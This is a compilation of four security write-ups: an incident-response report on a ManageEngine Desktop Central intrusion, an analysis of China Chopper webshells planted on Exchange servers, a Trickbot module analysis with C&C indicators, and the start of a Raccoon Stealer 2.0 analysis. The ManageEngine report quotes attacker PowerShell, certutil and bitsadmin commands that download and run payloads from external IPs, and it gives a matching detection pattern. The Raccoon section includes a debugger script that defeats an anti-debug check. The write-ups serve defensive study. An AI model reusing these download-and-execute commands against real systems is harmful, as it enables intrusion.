The Recon incident response team recently worked an intrusion case involving a ManageEngine Desktop Central server that was affected by CVE-2020-10189. Zoho ManageEngine Desktop Central 10 allows remote code execution because of deserialization of untrusted data in getChartImage in the FileStorage class. This is related to the CewolfServlet and MDMLogUploaderServlet servlets.
## Remote Code Execution vulnerability disclosed on Twitter
During our research of Desktop Central vulnerabilities, we located a post on Twitter from a researcher who had disclosed an RCE for Desktop Central on March 5, 2020. Research on CVE-2020-10189 also showed that vulnerable Desktop Central servers were searchable on Shodan, a popular search engine for Internet-connected devices often used by attackers looking for vulnerable targets.
Initial compromise was determined based on a suspicious PowerShell download cradle that contained instructions to download files from a dotted quad URL. One of the earliest activities carried out by the actor were a few suspicious PowerShell download commands. The commands contained instructions to download `install.bat` and `storesyncsvc.dll` to `C:\Windows\Temp` and then immediately execute `install.bat`.
```powershell
cmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98.220:12345/test/install.bat','C:\Users\Public\install.bat')
$client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98.220:12345/test/storesyncsvc.dll','C:\Windows\Temp\storesyncsvc.dll')
```
The `install.bat` script contained instructions to install `storesyncsvc.dll` as a service on the system. Predictably, within seconds of the suspicious PowerShell commands being run, we observed the installation of a new service with the Service Name `StorSyncSvc` and Display Name of `Storage Sync Service`.
OSINT quickly confirmed `storesyncsvc.dll` to be previously observed by others hit by this campaign. VirusTotal results indicated that several detection engines had already classified `storesyncsvc.dll` as malware.
## Leveraging Process Tracking to Identify Application Exploitation
Knowing that an RCE had been disclosed via Twitter on March 5, 2020, only a few days prior to this intrusion, we already had a strong theory on the attack vector being exploitation of the Zoho ManageEngine Desktop Central application. Review of Sysmon process creation events indicated that `C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe` was the process responsible for executing the PowerShell download commands.
Looking at processes in memory, we also observed the parent/child relationship between the Desktop Central `java.exe`, `cmd.exe`, and `2.exe`.
## Leveraging Filesystem Artifacts to Identify Application Exploitation
To further validate our theory, we compared the artifacts that had been collected from the affected Desktop Central server to the POC that had been published and determined that the attacker had likely leveraged the CVE-2020-10189 vulnerability to run code on this vulnerable system. Through filesystem timeline analysis, we determined that a traversal file write had likely occurred on the system with the file names `_chart` and `logger.zip`.
These file names were also referenced in the POC that had been released by @Steventseeley.
## Command and Control Payload Introduced To System
Subsequent process creation logs revealed `cmd.exe` and `certutil.exe` commands being used to download and execute `2.exe`. Further analysis revealed a high likelihood of `2.exe` being part of the popular post-exploitation and C2 tool Cobalt Strike.
```powershell
cmd /c certutil -urlcache -split -f http://91.208.184.78/2.exe && 2.exe
```
OSINT revealed that `2.exe` was already identified as malware by several detection engines on VirusTotal. Leveraging app.any.run sandbox and memory analysis of the malware further confirmed the likelihood of `2.exe` being a hosted Cobalt Strike Beacon payload.
## YARA ANALYSIS SUPPORTS 2.EXE CLASSIFICATION AS COBALT STRIKE
We performed a YARA scan against all memory sections in use by the known malware, `2.exe`. The YARA scan results further supported the theory of `2.exe` resembling a Cobalt Strike beacon among several other possible malware signature hits. Leveraging Volatility’s malfind plugin, we identified several memory sections with potential signs of code injection. We fired off another YARA scan against the memory sections dumped by malfind, providing additional validation of the likely presence of a Cobalt Strike Beacon.
We then examined malfind’s output for evidence of code injection and identified suspicious memory sections within `svchost.exe`. OSINT research led us to a researcher that had reversed the malware and found the area responsible for injecting code into `svchost.exe`.
## Reference
Among the post-compromise activities, we observed malicious Bitsadmin commands that contained instructions to transfer `install.bat` from `66.42.96.220` over suspicious port `12345`. Our analysts observed Bitsadmin commands being run on the Desktop Central server which contained the same IP address, port, and the same `install.bat` file called in the PowerShell download commands.
```powershell
cmd /c bitsadmin /transfer bbbb http://66.42.98.220:12345/test/install.bat C:\Users\Public\install.bat
```
## Credential Access
We also observed potential credential access activity. A common technique for attackers to perform credential dumping is using a malicious process (SourceImage) to access another process (the TargetImage). Most commonly, `lsass.exe` is targeted as it often contains sensitive information such as account credentials. Here, we observed the SourceImage `2.exe` accessing the TargetImage `lsass.exe`. The Cobalt Strike Beacon contains native credential dumping capabilities similar to Mimikatz. The only required condition to use this capability is SYSTEM privileges, which the attacker had. The event below provides sufficient evidence that the risk of credential access is high.
## Tools For IR Teams Dealing With Similar Intrusions
During our analysis of this intrusion, we added a few collection targets to Eric Zimmerman's KAPE tool to add the relevant logs to triage efforts. Example usage targeting relevant logs (tune for your use-case):
```powershell
kape.exe --tsource C: --tdest c:\temp\tout --tflush --target ManageEngineLogs
```
## IOCs
- `storesyncsvc.dll`
- MD5: 5909983db4d9023e4098e56361c96a6f
- SHA256: f91f2a7e1944734371562f18b066f193605e07223aab90bd1e8925e23bbeaa1c
- `install.bat`
- MD5: 7966c2c546b71e800397a67f942858d0
- SHA256: de9ef08a148305963accb8a64eb22117916aa42ab0eddf60ccb8850468a194fc
- `2.exe`
- MD5: 3e856162c36b532925c8226b4ed3481c
- SHA256: d854f775ab1071eebadc0eb44d8571c387567c233a71d2e26242cd9a80e67309
- `66.42.98.220`
- `91.208.184.78`
- `74.82.201.8`
## Detection
Florian Roth of the Sigma project has created a signature to detect some of the techniques leveraged by the attackers. Our analysis of this attack also found that detection based on command-line activity in process creation logs would be valuable.
```plaintext
ParentImage | endswith: 'DesktopCentral_Server\jre\bin\java.exe'
CommandLine | contains: '*powershell*', '*certutil*', '*bitsadmin*'
```
## [UPDATE]
The researchers at Fireeye published an excellent article that contained some of the same findings and included attribution to APT41.
**Tags:** DFIR, Incident Response, Forensics, SecOps, InfoSec, Defense, Malware, Exploit, CVE-2020-10189, Intel Sharing, Zoho, Vulnerability, ManageEngine
**Written by Luke Rusten**
**Security Operations Manager** |
# Analyzing Attacks Against Microsoft Exchange Server With China Chopper Webshells
**By Jeff White**
**March 8, 2021**
**Category: Unit 42**
**Tags: China Chopper, CVE-2021-27065, Hafnium, Microsoft Exchange Server, vulnerabilities**
## Executive Summary
Microsoft recently released patches for a number of zero-day Microsoft Exchange Server vulnerabilities that are actively being exploited in the wild by HAFNIUM, a suspected state-sponsored group operating out of China. We provide an overview of the China Chopper webshell, a backdoor which has been observed being dropped in these attacks. We also analyze incidental artifacts, such as metadata, created by the attacks themselves, which allow us to collect information and better understand the nature and methodology of the attackers.
## The Role of the China Chopper Webshell
By leveraging CVE-2021-27065, a post-authentication arbitrary file write vulnerability, an attacker is able to effectively inject code into an ASPX page for Exchange Offline Address Book (OAB). When this page is compiled with the injected webshell, the attacker can send other code and gain further access. The China Chopper webshell is a lightweight, one-line script that is observed being dropped in these attacks by the use of the PowerShell Set-OabVirtualDirectory cmdlet. This one-line webshell is relatively simple from the server perspective and has been observed in attacks since at least 2013, when FireEye reported on it.
The key detail here is that the China Chopper webshell is injected into a pre-existing OAB ASPX page that contains configuration information unrelated to the webshell. It’s been reported that there are thousands of compromises, and any on-premises Exchange Server that is exposed to the internet should assume it’s been scanned numerous times. Knowing this, and knowing that thousands of companies this week have begun the laborious chore of responding to these attacks within their infrastructure, it didn’t take long before these OAB files started popping up on VirusTotal (VT).
To identify the specific OAB configuration files we’re interested in, I created a small YARA rule to identify some of the observed templates for the China Chopper webshell as they exist within OAB configurations.
```yara
rule webshell_chinachopper_oab {
meta:
author = "Jeff White (Palo Alto Networks) @noottrak"
date = "02MAR2021"
hash01 = "e8ea17cd1de6d3389c792cce8c0ff1927a6386f0ef32ab0b097763de1f86ffc8"
hash02 = "34f9944a85ffba58f3fa60c5dc32da1ce6743dae261e1820ef6c419808757112"
hash03 = "55fbfab29f9d2c26f81f1ff901af838110d7f76acc81f14b791a8903aa8b8425"
hash04 = "6e75bbcdd22ec9df1c7796e381a83f88e3ae82f5698c6b31b64d8f11e9cfd867"
strings:
$OAB01 = "ExternalUrl" ascii
$OAB02 = "InternalUrl" ascii
$OAB03 = "ExchangeVersion" ascii
$OAB04 = "WhenChangedUTC" ascii
$HTTP01 = "http://f/" ascii nocase
$HTTP02 = "http://g/" ascii nocase
$HTTP03 = "http://p/" ascii nocase
$websh01 = "<script language=\"JScript\"" ascii nocase
$websh02 = "<script language=\"c#\"" ascii nocase
$websh03 = "<script runat=\"server\"" ascii nocase
$cc01 = "Request" ascii nocase
$cc02 = "Page_Load" ascii nocase
$non = /http:\/\/[a-z]\/[a-z0-9]+/
condition:
(all of ($OAB*) and 1 of ($HTTP*) and 1 of ($websh*) and all of ($cc*)) or (all of ($OAB*) and $non)
}
```
For reference, this is how the China Chopper webshell typically manifests itself within the OAB configurations – specifically in the ExternalUrl field. Additional variants will be discussed throughout the document, but this is the most prevalent. As of March 4, 2021, there are 81 unique matching samples uploaded to VT.
As FireEye documented in their 2013 analysis of this webshell, China Chopper is technically split into two parts: a client and a server. When the client engages with the server, in most variants, it provides a “key” to act as authentication before executing whatever code the attacker supplies.
In the above China Chopper example, the key is "NO9BxmCXw0JE". This provides us with a relatively unique identifier to compare to the other files.
## OAB Artifacts
The OAB configuration contains a wealth of information such as when the file was created, when it was last modified, the Exchange version and numerous other server-specific related data points. These allow us to take a deeper look at the attacks from a new perspective and gain a better understanding of the attack campaigns involved.
On March 2, 2021, Volexity published their blog, “Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities,” which provided the first in-depth look at the attacks on Exchange Servers. However, we know that on Jan. 5, 2021, Twitter user @orange_8361 (Orange Tsai) tweeted that they had reported a pre-authenticated remote code execution (RCE) chain to a vendor. Microsoft credited this user in the slew of CVEs released to address the vulnerabilities. These two dates give us a frame of reference for analysis, as they mark the time from when Microsoft was notified to the first public disclosure of the attacks observed in the wild.
Looking at the keys used overall in the China Chopper webshells, the list below provides a count of each unique value. Of note is a C# variant of this webshell that does not have a similar key, two variants that do not include a webshell at all but include a possible key and one that is a Base64 encoded string of non-ASCII bytes.
| Count | Key |
|-------|------------------------------|
| 29 | NO9BxmCXw0JE |
| 11 | Ananas |
| 8 | klk123456 |
| 7 | orange |
| 6 | No Key - f34fji34r209ur29ur92ru |
| 4 | p |
| 4 | gttkomomo |
| 2 | No Key - dsfg |
| 1 | rxDg52fHL9GW |
| 1 | q3v98mBat1zj |
| 1 | passnew |
| 1 | o |
| 1 | fpm_admin |
| 1 | Q4IDLjknOZJr |
| 1 | FhsrvqjnYASe |
| 1 | EiH4yV2WGYgc |
| 1 | No Key - C# |
| 1 | 3d55db3b2f88ae47b24ae7796f0cd916 |
As noted, two “keys” did not contain a webshell at all, “f34fji34r209ur29ur92ru” and “dsfg”. Instead, we observed an injection of a value, which appears similar in nature to a key, but is missing the actual webshell code required to carry out further code execution. An example can be seen below and compared to the webshell above.
When looking at some of the temporal data points, specifically the DateModified time of the OAB files, you will see that the usage of these “keys” predates all the other key usage by almost a full day. Since there is no webshell, these may have been test runs. In fact, they show overlap with other keys that later compromise the same server with full webshells.
| DateModified | WebShellKey | OriginatingServer |
|----------------------|-------------------------------|-------------------|
| 2/27/2021 13:45:30 | f34fji34r209ur29ur92ru | NS1[...]net |
| 2/27/2021 16:20:49 | f34fji34r209ur29ur92ru | DC1[...]LOC |
| 2/27/2021 19:11:07 | f34fji34r209ur29ur92ru | FIT[...]cal |
| 2/28/2021 0:04:23 | f34fji34r209ur29ur92ru | V-T[...]com |
| 2/28/2021 1:41:07 | f34fji34r209ur29ur92ru | DC-[...]net |
| 2/28/2021 3:51:56 | f34fji34r209ur29ur92ru | MBD[...]org |
| 2/28/2021 10:15:00 | NO9BxmCXw0JE | DC[...]net |
| 2/28/2021 10:33:14 | NO9BxmCXw0JE | FIT[...]cal |
| 2/28/2021 10:36:44 | orange | JTA[...]cal |
The NO9* key from above is the most prevalent thus far, judging by what’s currently available on VT. It has also been displayed in most of the research that has come out on this topic. This key shares a pattern with five other keys in the list. These are considered related due to their timing and unique usage of an exactly 12-character randomized alphanumeric string with mixed capitalization.
| Count | Key |
|-------|------------------------------|
| 1 | NO9BxmCXw0JE |
| 1 | rxDg52fHL9GW |
| 1 | q3v98mBat1zj |
| 1 | Q4IDLjknOZJr |
| 1 | FhsrvqjnYASe |
| 1 | EiH4yV2WGYgc |
Within this grouping, only the NO9* and EiH* keys were observed in the OAB files with dates prior to the March 2 Volexity blog. It is also interesting to observe the clustering of dates and times when these unique OAB files documented their modification times, as highlighted in the table below.
| DateModified | WebShellKey | OriginatingServer |
|----------------------|-------------------------------|-------------------|
| 2/28/2021 10:15:00 | NO9BxmCXw0JE | DC-[...]net |
| 2/28/2021 10:33:14 | NO9BxmCXw0JE | FIT[...]cal |
| 2/28/2021 10:44:24 | NO9BxmCXw0JE | NS1[...]net |
| 2/28/2021 11:01:52 | NO9BxmCXw0JE | DC2[...]LOC |
| 2/28/2021 11:03:12 | EiH4yV2WGYgc | DFC[...]com |
| 2/28/2021 12:44:40 | NO9BxmCXw0JE | WP-[...]cal |
| 2/28/2021 16:46:21 | NO9BxmCXw0JE | tcs[...]cal |
| 3/1/2021 6:29:17 | NO9BxmCXw0JE | mar[...]cal |
| 3/1/2021 7:40:44 | NO9BxmCXw0JE | cow[...]cal |
| 3/1/2021 12:01:14 | NO9BxmCXw0JE | MM1[...]pvt |
| 3/1/2021 12:16:38 | NO9BxmCXw0JE | NCR[...]cal |
| 3/1/2021 13:46:04 | NO9BxmCXw0JE | a-p[...]com |
| 3/1/2021 3:39:49 PM | NO9BxmCXw0JE | grr[...]cal |
| 3/1/2021 16:25:57 | NO9BxmCXw0JE | DC2[...]LOC |
| 3/1/2021 16:42:10 | NO9BxmCXw0JE | VCC[...]org |
| 3/1/2021 19:28:28 | NO9BxmCXw0JE | NS1[...]net |
| 3/1/2021 21:32:42 | NO9BxmCXw0JE | DC0[...]cal |
| 3/1/2021 21:53:34 | NO9BxmCXw0JE | thi[...]cal |
On Feb. 28, 2021, and March 1, 2021, there are two distinct clusters of events – before public news about the vulnerabilities is released. Looking at the UTC timing of the events shows some compromises happening just minutes apart using both the NO9* and EiH* keys, further corroborating their relation to each other. The timing is also noteworthy because it shows very rapid deployment of these webshells throughout the day and night, indicating an automated approach to targeting. As more samples appear, a better picture of the timeline will emerge.
Continuing to dig down into the data points for the six keys, we can extrapolate the targets based on their OriginatingServer values and deduce a wide range of businesses from investment banking, small car dealerships, water conservatories, industrial automation, law firms, hospitality and so on. The apparent randomness of targeted industries supports the idea that this is automated scanning that took advantage of opportunistic targets versus a coordinated effort to target specific industries or businesses.
One last piece of evidence in support of the idea of automated scanning: There are multiple OAB files with the same configurations but different modification times, thus creating unique hashes. Looking at two servers from the OriginatingServer data points, it can be noted below how they are compromised again at a later date with the exact same webshell and key, implying that systems the attackers have compromised already are not checked during their scanning and exploitation process.
| DateModified | WebShellKey | OriginatingServer |
|----------------------|-------------------------------|-------------------|
| 3/1/2021 21:32:42 | NO9BxmCXw0JE | DC0[...]cal |
| 3/2/2021 16:57:12 | NO9BxmCXw0JE | DC0[...]cal |
| 2/28/2021 11:01:52 | NO9BxmCXw0JE | DC2[...]LOC |
| 3/1/2021 16:25:57 | NO9BxmCXw0JE | DC2[...]LOC |
Pivoting to the keys, which did not match the previously discussed pattern, we can see they start compromising the same servers as the other group of keys – but only after all of the research, CVEs, and proofs-of-concept (PoCs) started to pop up, leading us to believe these are different clusters of actors behind the attacks.
| DateModified | WebShellKey | OriginatingServer |
|----------------------|-------------------------------|-------------------|
| 3/1/2021 6:29:17 | NO9BxmCXw0JE | mar[...]cal |
| 3/2/2021 7:03:15 | NO9BxmCXw0JE | mar[...]cal |
| 3/3/2021 15:19:46 | Ananas | mar[...]cal |
| 2/28/2021 10:44:24 | NO9BxmCXw0JE | NS1[...]net |
| 3/1/2021 19:28:28 | NO9BxmCXw0JE | NS1[...]net |
| 3/3/2021 6:46:16 | Q4IDLjknOZJr | NS1[...]net |
| 3/3/2021 6:52:08 | klk123456 | NS1[...]net |
Before moving on to the next section, let’s turn our attention to three curious keys that were observed prior to the Volexity publication that do not match the pattern observed for the NO9* key but have very similar timing. This, along with other data points, seems to indicate these were used as testing or non-automated manual attacks.
The first is the key “orange”. The first compromise observed with it in these publicly available OAB files is minutes before and after two surrounding compromises by the NO9* key on Feb. 28. This key also falls into the cluster of events on March 1, two hours before the previously discussed attacks.
| DateModified | WebShellKey | OriginatingServer |
|----------------------|-------------------------------|-------------------|
| 2/28/2021 10:33:14 | NO9BxmCXw0JE | FIT[...]cal |
| 2/28/2021 10:36:44 | orange | JTA[...]cal |
| 2/28/2021 10:44:24 | NO9BxmCXw0JE | NS1[...]net |
| DateModified | WebShellKey | OriginatingServer |
|----------------------|-------------------------------|-------------------|
| 3/1/2021 4:25:25 | orange | Exc[...]CAL |
| 3/1/2021 6:29:17 | NO9BxmCXw0JE | mar[...]cal |
| 3/1/2021 7:40:44 | NO9BxmCXw0JE | cow[...]cal |
The second and third keys are simply “o” and “p”. Besides standing out due to their shortness, they also use a different structure in their webshell and appear to have targeted a medical facility and something related to the Vietnamese government, both prior to any publication about the vulnerabilities.
The Microsoft blog on HAFNIUM displays a webshell dropped by HAFNIUM that also uses a parameter value of “p”, although it is a different structure. A screenshot of the webshell displayed there is transcribed below, along with an example of the one observed in an OAB file.
Notable similarities exist in the Request.Form parameter value, “p”, and the usage of a single-letter character for the other values; however, this in and of itself does not necessarily confirm a HAFNIUM connection.
Looking at the “o” and “p” keys found in the OAB files, they can be seen targeting the same systems days apart.
| DateModified | WebShellKey | OriginatingServer |
|----------------------|-------------------------------|-------------------|
| 2/28/2021 11:57:01 | o | ad2[...].vn |
| 3/3/2021 7:58:20 | p | ad2[...].vn |
Furthermore, we can observe compromises by the cluster of six patterned keys and “o” key happening fairly close in time to one another, alluding to a possible connection between them.
| DateModified | WebShellKey | OriginatingServer |
|-------------------------------|-------------------------------|-------------------|
| 2/28/2021 11:03:12 AM | EiH4yV2WGYgc | DFC[...]com |
| 2/28/2021 11:57:01 AM | o | ad2[...].vn |
| 2/28/2021 12:44:40 PM | NO9BxmCXw0JE | WP-[...]cal |
Two more keys stand out in terms of volume. Like the other keys that have been discussed, both “klk123456” and “Ananas” were observed in overlapping compromises, indicating automated scanning or using some type of list that has already been correlated from a scanning service.
| DateModified | WebShellKey | OriginatingServer |
|----------------------|-------------------------------|-------------------|
| 3/3/2021 4:34:20 | klk123456 | Bed[...]com |
| 3/3/2021 6:52:08 | klk123456 | NS1[...]net |
| 3/3/2021 6:55:34 | klk123456 | Fil[...]cal |
| 3/3/2021 7:26:29 | klk123456 | mna[...]com |
| 3/3/2021 7:35:48 | Ananas | ric[...]org |
| 3/3/2021 7:45:40 | Ananas | ADA[...]cal |
| 3/3/2021 7:47:15 | klk123456 | PSL[...]cal |
| 3/3/2021 10:43:51 | klk123456 | CHG[...]SYS |
| 3/3/2021 11:02:09 | klk123456 | TRD[...]com |
| 3/3/2021 14:35:40 | Ananas | jus[...].nl |
| 3/3/2021 14:50:18 | Ananas | asi[...]com |
| 3/3/2021 14:51:13 | Ananas | Bed[...]com |
| 3/3/2021 15:19:46 | Ananas | mar[...]cal |
| 3/3/2021 16:16:21 | Ananas | V-T[...]com |
| 3/3/2021 16:40:03 | Ananas | FHM[...]org |
These clusters of events are likely related to threat actors who were able to weaponize the public information extremely quickly and get a head start on attacking Exchange Servers before other actors could. All the compromises with the other keys appear unrelated and occur after the patches, research and PoC code had become easily accessible.
## Variations in the China Chopper Webshell
Recall the most prevalent China Chopper shell as observed in the OAB file. A Twitter user, @mickeyftnt, notified me that they found a variant using a different pattern from the “http://f/” that I had been watching stream into VT. This variant used “http://g/” and contained a space after the eval method call. Microsoft states the ExternalUrl parameter “specifies the URL that’s used to connect to the virtual directory from outside the firewall,” so we can assume that, in a legitimate file, this is a resolvable domain but may require the “http” precursor to be accepted as a value for the injection to work. While this piece of the URL is moot and does not affect the operation, the use of “http://f/” is observed across the board in almost every one of the attacks. As such, the “http://g/” variable piqued my interest as another likely artifact worth taking note of, even though no additional patterns have been noticed outside what’s been discussed here already.
Another Twitter user, @krausedw, brought some samples to my attention that included breaking up the “unsafe” word in an attempt to bypass certain security measures and a C# sample that calls out the script language explicitly.
- JScript unsafe
- C#
Finally, there are variants that use Base64 strings as the key.
## Conclusion
By leveraging the artifacts found within the OAB configurations, we are able to piece together a narrative around the activity based on analysis from just a small set of samples. It seems clear that there are numerous clusters of groups leveraging these vulnerabilities, the groups are using mass scanning or services that allow them to independently target the same systems, and finally there are multiple variations of the code being dropped, which may be indicative of iterations to the attack. As more information and files become available, this analysis may have to be revisited, but for now, there are a sufficient number of connections that allow us to understand the how, the when and the frequency of attacks, along with clustering of events. |
# Trickbot Shows Off New Trick: Password Grabber Module
Trickbot, which used to be a simple banking trojan, has come a long way. Over time, we’ve seen how cybercriminals continue to add more features to this malware. Last March, Trickbot added a new module that gave it increased detection evasion and a screen-locking feature. This month, we saw that Trickbot (detected by Trend Micro as TSPY_TRICKBOT.THOIBEAI) now has a password grabber module (pwgrab32) that steals access from several applications and browsers, such as Microsoft Outlook, Filezilla, WinSCP, Google Chrome, Mozilla Firefox, Internet Explorer, and Microsoft Edge. Based on our telemetry, we saw that this Trickbot variant has affected users mainly in the United States, Canada, and the Philippines.
## Analyzing Trickbot’s modules
Malware authors continue to cash in on Trickbot’s modular structure — its ability to continually update itself by downloading new modules from a C&C server and change its configuration make for a malware that’s ripe for updating. To gain a better understanding of this threat, we analyzed Trickbot’s different modules, starting with the new pwgrab32 module that we saw this month.
### pwgrab32 module
Trickbot’s new module, called pwgrab32 or PasswordGrabber, steals credentials from applications such as Filezilla, Microsoft Outlook, and WinSCP.
Aside from stealing credentials from applications, it also steals the following information from several popular web browsers such as Google Chrome, Mozilla Firefox, Internet Explorer, and Microsoft Edge:
- Usernames and Passwords
- Internet Cookies
- Browsing History
- Autofills
- HTTP Posts
It should be noted that this Trickbot variant is not capable of stealing passwords from third-party password manager applications. We are studying this malware further to see if it is able to steal passwords from password managers that have browser plugins.
### shareDll32 module
Trickbot uses the shareDll32 module to help propagate itself throughout the network. It connects to a C&C server to download a copy of itself and save it as setuplog.tmp. The shareDll32 module then enumerates and identifies systems connected on the same domain using WNetEnumResource and GetComputerNameW. The file setuplog.tmp is then copied in the administrative shares of the discovered machines or systems.
To make the malware more persistent, it has an auto-start service that allows Trickbot to run whenever the machine boots. This service can have the following display names:
- Service Techno
- Service_Techno2
- Technics-service2
- Technoservices
- Advanced-Technic-Service
- ServiceTechno5
### wormDll module
The wormDll32 module attempts to identify servers and domain controllers in the network using NetServerEnum and LDAP queries. Trickbot’s worm-like propagation capability was first observed by security researchers from Flashpoint in 2017.
We also discovered that there is a possible SMB protocol implementation using “pysmb,” utilizing the NT LM 0.12 query for older Windows operating systems and IPC shares. It should be noted that this function seems to still be in development.
### networkDll32
Trickbot uses this encrypted module to scan the network and steal relevant network information. It executes commands to gather information on the infected system.
### Wormdll32 module
Wormdll32 is an encrypted module that Trickbot uses to propagate itself via SMB and LDAP queries. It is used together with the module “wormDll” to propagate across the network.
### importDll32 module
This module is responsible for stealing browser data such as browsing history, cookies, and plug-ins, among others.
### systeminfo32 module
Once successfully installed in a system, Trickbot will gather system information such as OS, CPU, and memory information, user accounts, lists of installed programs and services.
### mailsearcher32 module
This module searches the infected system’s files to gather email addresses for information-stealing purposes. Collecting email addresses for spam campaign-related needs is usual malware behavior; however, Kryptos Research recently reported that the Emotet banking trojan doesn't just steal email addresses; it also harvests emails sent and received via Microsoft Outlook on an Emotet-infected device. Emotet, according to previous research by Brad Duncan, is also responsible for delivering this password-grabbing Trickbot variant, as well as Azorult, to users.
### injectDll32 module
This encrypted module monitors websites that banking applications might use. It's also used to inject code into its target processes using the Reflective DLL Injection technique. The injectDll32 monitors banking-related websites for two different credential-stealing methods:
First, when a user logs in to any of the monitored banking websites on its list such as Chase, Citi, Bank of America, Sparda-Bank, Santander, HSBC, Canadian Imperial Bank of Commerce (CIBC), and Metrobank, Trickbot will then send a POST response to the C&C server to extract the user’s login credentials.
Second, Trickbot monitors if a user accesses certain banking-related websites on its list, such as C. Hoare & Co bank, St. James’s Place Bank, and Royal Bank of Scotland, and will redirect users to fake phishing websites. The banking URLs Trickbot monitors include websites from the United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland.
## Trickbot’s other notable tricks
Trickbot is usually sent via malicious spam campaigns. The malware disables Microsoft’s built-in antivirus Windows Defender by executing certain commands and modifying registry entries. Additionally, it also terminates Windows Defender-related processes such as MSASCuil.exe, MSASCui.exe, and antispyware utility Msmpeng.exe. It also has an autostart mechanism (Msntcs) that is triggered at system startup and every ten minutes after it is first executed.
It disables the following anti-malware services:
- MBamService (Malwarebytes-related Process)
- SAVService (Sophos AV-related process)
Its anti-analysis capability checks the system and terminates itself when it finds certain modules, such as pstorec.dll, vmcheck.dll, wpespy.dll, and dbghelp.dll.
## Defending against Trickbot’s tricks: Trend Micro solutions
Malware authors continue to update banking trojans like Trickbot and Emotet with new modules that make it more difficult to detect and combat. Users and enterprises can benefit from protection that uses a multi-layered approach to mitigate the risks brought by threats like banking trojans.
Trend Micro Smart Protection Suites provide a cross-generational blend of threat defense techniques to protect systems from all types of threats, including banking trojans, ransomware, and cryptocurrency-mining malware. It features high-fidelity machine learning on gateways and endpoints, and protects physical, virtual, and cloud workloads. With capabilities like web/URL filtering, behavioral analysis, and custom sandboxing, XGen security protects against today’s threats that bypass traditional controls; exploit known, unknown, or undisclosed vulnerabilities; either steal or encrypt personally identifiable data; or conduct malicious cryptocurrency mining. Smart, optimized, and connected, XGen security powers Trend Micro’s suite.
## Indicators of Compromise
### Trickbot C&C servers
- 103[.]10[.]145[.]197:449
- 103[.]110[.]91[.]118:449
- 103[.]111[.]53[.]126:449
- 107[.]173[.]102[.]231:443
- 107[.]175[.]127[.]147:443
- 115[.]78[.]3[.]170:443
- 116[.]212[.]152[.]12:449
- 121[.]58[.]242[.]206:449
- 128[.]201[.]92[.]41:449
- 167[.]114[.]13[.]91:443
- 170[.]81[.]32[.]66:449
- 173[.]239[.]128[.]74:443
- 178[.]116[.]83[.]49:443
- 181[.]113[.]17[.]230:449
- 182[.]253[.]20[.]66:449
- 182[.]50[.]64[.]148:449
- 185[.]66[.]227[.]183:443
- 187[.]190[.]249[.]230:443
- 190[.]145[.]74[.]84:449
- 192[.]252[.]209[.]44:443
- 197[.]232[.]50[.]85:443
- 198[.]100[.]157[.]163:443
- 212[.]23[.]70[.]149:443
- 23[.]226[.]138[.]169:443
- 23[.]92[.]93[.]229:443
- 23[.]94[.]233[.]142:443
- 23[.]94[.]41[.]215:443
- 42[.]115[.]91[.]177:443
- 46[.]149[.]182[.]112:449
- 47[.]49[.]168[.]50:443
- 62[.]141[.]94[.]107:443
- 68[.]109[.]83[.]22:443
- 70[.]48[.]101[.]54:443
- 71[.]13[.]140[.]89:443
- 75[.]103[.]4[.]186:443
- 81[.]17[.]86[.]112:443
- 82[.]222[.]40[.]119:449
- 94[.]181[.]47[.]198:449
### TSPY_TRICKBOT.THOIBEAI:
806bc3a91b86dbc5c367ecc259136f77482266d9fedca009e4e78f7465058d16 |
# Raccoon Stealer 2.0 Malware Analysis
Raccoon Stealer was one of the most mentioned malware in 2019. Cybercriminals sold this simple but versatile info stealer as a MaaS just for $75 per week and $200 per month. It successfully attacked numerous systems, but in March 2022, threat authors shut down their operations.
In July 2022, a new variant of this malware was released. Raccoon Stealer 2.0 has gone viral and got a new name in the wild – RecordBreaker. In this article, we will analyze several samples of the info stealer to find out its techniques and what data it collects.
## What is Raccoon Stealer?
Raccoon Stealer is a kind of malware that steals various data from an infected computer. It’s quite basic malware, but hackers who provide excellent service and simple navigation have made Raccoon popular.
The malware’s owners are interested in the following data:
- Login/password pairs from various services saved in browsers
- Cookies from different browsers
- Bank data
- Cryptocurrency wallets
- Credit card information
- Arbitrary files, which can be of interest to intruders
## Raccoon – A Sample Overview
In the process of malware analysis, we worked with the following samples:
```
sha-256
9ee50e94a731872a74f47780317850ae2b9fae9d6c53a957ed7187173feb4f42
0142baf3e69fe93e0151a1b5719c90df8e2adca4301c3aa255dd19e778d84edf
022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03
048c0113233ddc1250c269c74c9c9b8e9ad3e4dae3533ff0412d02b06bdf4059
263c18c86071d085c69f2096460c6b418ae414d3ea92c0c2e75ef7cb47bbe693
27e02b973771d43531c97eb5d3fb662f9247e85c4135fe4c030587a8dea72577
494ab44bb96537fc8a3e832e3cf032b0599501f96a682205bc46d9b7744d52ab
f26f5331588cb62a97d44ce55303eb81ef21cf563e2c604fe06b06d97760f544
fcdc29b4d9cb808c178954d08c53c0519970fe585b850204655e44c1a901c4de
```
## Challenges During the Malware Analysis of Raccoon Stealer v2
Raccoon Stealer v.2 got extremely famous, and we faced several challenges during our analysis. When we first started, we immediately got a sample that we were unable to run in our sandbox. This example was packed and finished execution when we tried to run it in a virtual environment. Our team decided to investigate the sandbox evasion mechanisms.
During the sample’s reverse-engineering, we encountered another issue: the packer detects the presence of Anti-Debugger and terminates before checking the execution’s environment. In our case, we used TitanHide. When running the program under a debugger, the `NtQueryInformationProcess` call causes the `ProcessInformation` variable to be overwritten. The packer compares the random value written to this variable earlier with the value after the call. If they are different, it stops execution.
The challenge was solved with the following script for x64dbg:
```
bphc
run
findallmem 0, #e91727f5ff#
bph ref.addr(0)+5
run
$p = [esp+0x10]
$val = [p]
log "secret:{0}",$val
bphc
sti
sti
mov [$p], $val
ret
```
It turned out that the bug was known but had not been fixed at the moment of our research. After the report, it was fixed, so this Anti-debugger detection method no longer works.
